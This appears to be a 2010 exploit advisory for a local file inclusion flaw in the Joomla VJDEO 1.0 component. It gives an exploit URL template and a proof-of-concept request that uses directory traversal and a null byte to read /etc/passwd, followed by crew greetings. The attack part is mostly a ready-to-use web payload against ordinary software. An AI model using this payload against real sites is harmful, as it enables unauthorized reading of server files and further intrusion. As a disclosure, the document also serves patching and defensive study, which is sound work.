The Joomla VJDEO component version 1.0 suffers from a local file inclusion vulnerability.
420e8719832043a7367dc13690b6d62fca0f0f2ccaf841f9ff550f3173adaf99
(o)=====================================================================================(o)
Joomla Component VJDEO 1.0 LFI Vulnerability
Vendor : https://www.joomla.ternaria.com/
Author : Angela Zhang
Contact : mizz_4ng3l@yahoo.com
Date : 07 - April - 2010
(o)======================================================================================(o)
[o] Exploit
https://localhost/[path]/index.php?option=com_vjdeo&controller=[LFI]
[o] PoC
https://localhost/index.php?option=com_vjdeo&controller=../../../../../../../../../../../../../../../etc/passwd%00
(o)===========================================================================================(o)
Greetz : -:- 3SomeCrew -:-
Nyubi (Solpot) , Vrs-hCk , OoN_BoY , NoGe , Paman , zxvf , home_edition2001 , mywisdom , s4va,
Winda Slovski , stardustmemory, wishnusakti, Xco Nuxco , Cakill Schumbag, dkk
(o)===========================================================================================(o)